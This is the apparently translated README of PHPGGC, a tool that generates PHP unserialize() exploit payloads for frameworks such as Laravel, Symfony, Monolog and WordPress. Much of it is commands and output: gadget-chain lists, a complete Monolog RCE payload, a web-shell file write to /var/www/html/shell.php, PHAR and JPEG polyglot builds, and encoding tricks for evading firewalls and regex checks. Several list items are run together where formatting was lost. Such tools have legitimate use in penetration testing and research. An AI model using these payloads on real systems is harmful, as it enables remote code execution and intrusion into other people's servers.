
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC ist eine Bibliothek von unserialize()-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen.
Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten, ermöglicht Ihnen dieses Tool, den Payload zu erzeugen, ohne die mühsamen Schritte des Findens und Kombinierens von Gadgets durchlaufen zu müssen. Es kann als das PHP-Pendant zu frohoffs ysoserial angesehen werden.
Zurzeit unterstützt das Tool unter anderem folgende Gadget-Chains: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii und ZendFramework.
PHP >= 5.6 ist erforderlich, um PHPGGC auszuführen.
Führen Sie ./phpggc -l aus, um eine Liste der Gadget-Chains zu erhalten:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Gadget-Chains filtern:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Jede Gadget-Chain hat:
unserialize auslöst (__destruct(), __toString(), offsetGet(), ...)Verwenden Sie -i, um detaillierte Informationen über eine Kette zu erhalten:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Für RCE-Gadgets kann der ausgeführte Befehl je nach Funktionsweise des Gadgets drei Formatierungsarten haben:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idSobald Sie eine Kette ausgewählt haben, führen Sie ./phpggc <gadget-chain> [parameters] aus, um den Payload zu erhalten.
Um beispielsweise einen Payload für Monolog zu erhalten, würden Sie Folgendes tun:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Für das Schreiben einer Datei mit SwiftMailer würden Sie Folgendes tun:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
Mit der Option --wrapper (-w) können Sie eine PHP-Datei definieren, die die folgenden Funktionen enthält:
process_parameters(array $parameters): Wird direkt vor generate() aufgerufen und ermöglicht es, Parameter zu ändernprocess_object(object $object): Wird direkt vor serialize() aufgerufen und ermöglicht es, das Objekt zu ändernprocess_serialized(string $serialized): Wird direkt nach serialize() aufgerufen und ermöglicht es, die serialisierte Zeichenkette zu ändernWenn der angreifbare Code zum Beispiel so aussieht:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Sie könnten eine __toString()-Kette verwenden und sie wie folgt verpacken:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Und Sie würden phpggc wie folgt aufrufen:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Auf der BlackHat US 2018 veröffentlichte @s_n_t PHARGGC, einen Fork von PHPGGC, der anstelle eines serialisierten Payloads eine vollständige PHAR-Datei erstellt. Diese PHAR-Datei enthält serialisierte Daten und kann daher für verschiedene Ausnutzungstechniken verwendet werden (file_exists, fopen, usw.). Das Paper finden Sie hier.
PHAR-Archive gibt es in drei verschiedenen Formaten: PHAR, TAR und ZIP. Alle drei werden von PHPGGC unterstützt.
Polyglot-Dateien können mit --phar-jpeg (-pj) erzeugt werden. Weitere Optionen sind verfügbar (verwenden Sie -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
Mit den Argumenten lässt sich die Art der Ausgabe des Payloads verändern. Beispielsweise URL-encodiert -u den Payload, und -b konvertiert ihn in Base64.
Payloads enthalten oft NULL-Bytes und können nicht ohne Weiteres kopiert/eingefügt werden. Verwenden Sie -s für ein weiches URL-Encoding, das den Payload lesbar hält.
Die Encoder können verkettet werden, daher ist die Reihenfolge wichtig. Beispielsweise wird ./phpggc -b -u -u slim/rce1 system id den Payload zunächst in Base64 kodieren und dann zweimal URL-encodieren.
PHPGGC implementiert ein --fast-destruct-Flag (-f), das sicherstellt, dass Ihr serialisiertes Objekt direkt nach dem unserialize()-Aufruf zerstört wird und nicht erst am Ende des Skripts. Ich empfehle, es für jeden __destruct-Vektor zu verwenden, da es die Zuverlässigkeit erhöht. Wenn das PHP-Skript beispielsweise nach dem Aufruf eine Exception auslöst, wird die __destruct-Methode Ihres Objekts möglicherweise nicht aufgerufen. Da es gleichzeitig mit den Encodern verarbeitet wird, muss es zuerst gesetzt werden.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
Verwendet das Serialisierungsformat S anstelle des standardmäßigen s. Dadurch wird jedes Nicht-ASCII-Zeichen durch eine hexadezimale Darstellung ersetzt:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
Dies kann nützlich sein, wenn Nicht-ASCII-Zeichen aus irgendeinem Grund nicht erlaubt sind (z. B. NULL-Byte). Da Payloads diese normalerweise enthalten, wird so sichergestellt, dass der Payload nur aus ASCII-Werten besteht.
Hinweis: Dies ist experimentell und funktioniert in einigen Fällen möglicherweise nicht.
Verwendet das Serialisierungsformat S anstelle des standardmäßigen s. Dadurch wird jedes Zeichen durch eine hexadezimale Darstellung ersetzt:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
Dies ist praktisch, wenn eine Firewall oder PHP-Code Zeichenketten blockiert.
Hinweis: Dies ist experimentell und funktioniert in einigen Fällen möglicherweise nicht.
Hinweis: Dadurch wächst jede Zeichenkette im Payload um den Faktor 3.
Manchmal überprüfen PHP-Skripte, ob der übergebene serialisierte Payload keine Objekte enthält, indem sie einen regulären Ausdruck wie /O:[0-9]+: verwenden. Dies lässt sich leicht umgehen, indem man O:+123:... anstelle von O:123: verwendet. Mit --plus-numbers <types> oder -n <types> kann man diese +-Zeichen automatisch vor Symbolen hinzufügen.
Um beispielsweise Objekte und Zeichenketten zu verschleiern, kann man --n Os verwenden. Bitte beachten Sie, dass seit PHP 7.2 nur die Typen i und d (Float) ein + haben können.
Versucht, Referenzen auf geschützte oder private Eigenschaften im serialisierten Payload in öffentliche umzuwandeln. Dies kann nützlich sein, da PHP beim Serialisieren einer nicht-öffentlichen Eigenschaft eines Objekts dem Eigenschaftsnamen ein Sternchen (für geschützt) oder den Klassennamen (für privat) voranstellt, umgeben von NULL-Bytes. Diese gehen leicht verloren, wenn der Payload ohne Kodierung als Klartext übertragen oder gespeichert wird. In diesem Fall schlägt das Unserialisieren des Payloads fehl, da die Zeichenkettenlänge des Eigenschaftsnamens (und der Name selbst) nicht mehr korrekt sind. Als zusätzlichen Vorteil sind die Payloads ohne die Präfixe etwas kleiner. Das Umwandeln von Eigenschaften in öffentliche funktioniert in neueren PHP-Versionen tendenziell, kann aber in älteren Versionen (vor PHP 7.2) Probleme verursachen. Diese Funktionalität funktioniert möglicherweise nicht richtig, wenn eine Kette ein oder mehrere Objekte enthält, die eine eigene Serialize-/Unserialize-Implementierung haben.
Um zu testen, ob die gewünschte Gadget-Chain in der Zielumgebung funktioniert, wechseln Sie in den Ordner Ihrer Umgebung und führen Sie die Kette ohne Argumente mit der Option --test-payload aus.
Um beispielsweise zu testen, ob Monolog/RCE2 auf Symfony 4.x funktioniert:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
Der Exit-Code ist 0, wenn der Payload ausgelöst wurde, andernfalls 1.
Wenn Sie wissen möchten, gegen welche Versionen eines Pakets eine Gadget-Chain funktioniert, können Sie test-gc-compatibility.py verwenden.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Sie können die zu testenden Versionen mit der folgenden Syntax angeben:
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Anstatt PHPGGC als Kommandozeilenwerkzeug zu verwenden, können Sie PHP-Skripte programmieren:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
Dies ermöglicht es Ihnen, Parameter anzupassen oder Exploits einfacher zu schreiben. Hinweis: Dies ist derzeit ziemlich experimentell. Bitte melden Sie Fehler.
Pull-Requests sind mehr als willkommen. Bitte befolgen Sie diese einfachen Richtlinien:
__destruct() ist immer der beste Vektor{ in einer neuen Zeile, und Arrays sollten als [1, 2, 3] statt in der alten Schreibweise array(1, 2, 3) geschrieben werden.Codetechnisch ist die Verzeichnisstruktur recht einfach: Gadgets in gadgets.php, Beschreibung + Logik in chain.php. Sie können Vor- und Nachbearbeitungsmethoden definieren, falls Parameter geändert werden müssen. Hoffentlich reichen die bereits implementierten Gadgets aus, um Ihre eigenen zu bauen. Ansonsten beantworte ich gerne Ihre Fragen.
Bitte testen Sie so viele Versionen wie möglich. Die Nomenklatur für Versionen ist wie folgt: [-]<lower-version> <= <higher-version>[+]. Die Zeichen - und + zeigen an, dass Ihr Payload möglicherweise auf niedrigeren bzw. höheren Versionen funktioniert. Wenn Ihre Gadget-Chain zum Beispiel von Version 2.0.0 bis Version 4.4.1 funktioniert, die zu diesem Zeitpunkt die letzte Version ist, verwenden Sie 2.0.0 <= 4.4.1+.
Die Kommandozeilenoption --new <framework> <type> kann verwendet werden, um die Verzeichnis- und Dateistruktur für eine neue Gadget-Chain zu erstellen.
Zum Beispiel erstellt ./phpggc -n Drupal RCE eine neue Drupal-RCE-Gadget-Chain.
Wenn Sie PHP nicht installieren möchten, können Sie ein Docker-Image mit folgendem Befehl erstellen:
$ docker build . -t 'phpggc'
Sie können dann das dockerisierte phpggc verwenden.
$ docker run phpggc Monolog/rce1 'system' 'id'
Wechseln Sie in den Ordner Ihrer Umgebung und führen Sie die Kette ohne Argumente mit der Option --test-payload aus:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
Hinweis: Der Befehl muss in dem Verzeichnis ausgeführt werden, in dem sich das Eingabebild befindet.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py ausführen$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘